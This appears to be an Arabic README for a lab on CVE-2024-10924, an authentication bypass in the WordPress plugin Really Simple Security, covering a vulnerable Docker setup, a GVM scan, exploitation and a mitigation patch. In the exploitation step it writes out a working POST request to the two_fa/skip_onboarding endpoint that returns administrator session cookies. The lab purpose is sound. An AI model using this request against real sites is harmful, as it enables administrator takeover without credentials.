CVE-2024-10924 - تجاوز المصادقة في Really Simple Security

نظرة عامة يعرض هذا المشروع استغلال وتخفيف تأثير CVE-2024-10924، وهي ثغرة حرجة في تجاوز المصادقة في إضافة WordPress "Really Simple Security".

الخطوة 1: إعداد البيئة

ابدأ بيئة WordPress المستضعفة: cd wordpress-really-simple-security-authn-bypass-vulnerable-application docker-compose up -d

تحقق من أن الحاويات قيد التشغيل: docker ps

الوصول إلى WordPress: http://localhost:1337

الأدوات المطلوبة:

• Python 3.x (للاستغلال الآلي)
• Burp Suite (للاستغلال اليدوي)
• GVM (Greenbone Vulnerability Management) للفحص

الخطوة 2: فحص الثغرات

قم بتشغيل فحص GVM ضد الهدف:

• الهدف: http://localhost:1337
• النتيجة المتوقعة: تم اكتشاف CVE-2024-10924
• الخطورة: حرجة (CVSS 9.8)
• نقطة النهاية المستضعفة: /reallysimplessl/v1/two_fa/skip_onboarding

الخطوة 3: الاستغلال

الطريقة أ - استغلال بايثون الآلي: python exploit.py

الطريقة ب - بورب سويت اليدوي:

1. اعترض حركة المرور إلى http://localhost:1337

2. أرسل طلب POST: POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1 Host: localhost:1337 Content-Type: application/json

   {"user_id": 1, "login_nonce": "hack", "redirect_to": "/wp-admin/"}

3. لاحظ الاستجابة مع ترويسة Set-Cookie التي تحتوي على جلسة المسؤول

النتيجة المتوقعة:

• الحالة: 200 OK
• تم إرجاع ملفات تعريف ارتباط جلسة المسؤول
• تجاوز ناجح دون بيانات اعتماد

الخطوة 4: التخفيف

طبّق التصحيح لحظر نقطة النهاية المستضعفة: .\patch.ps1

ماذا يفعل هذا:

• ينسخ mitigation.php إلى /wp-content/mu-plugins/ في الحاوية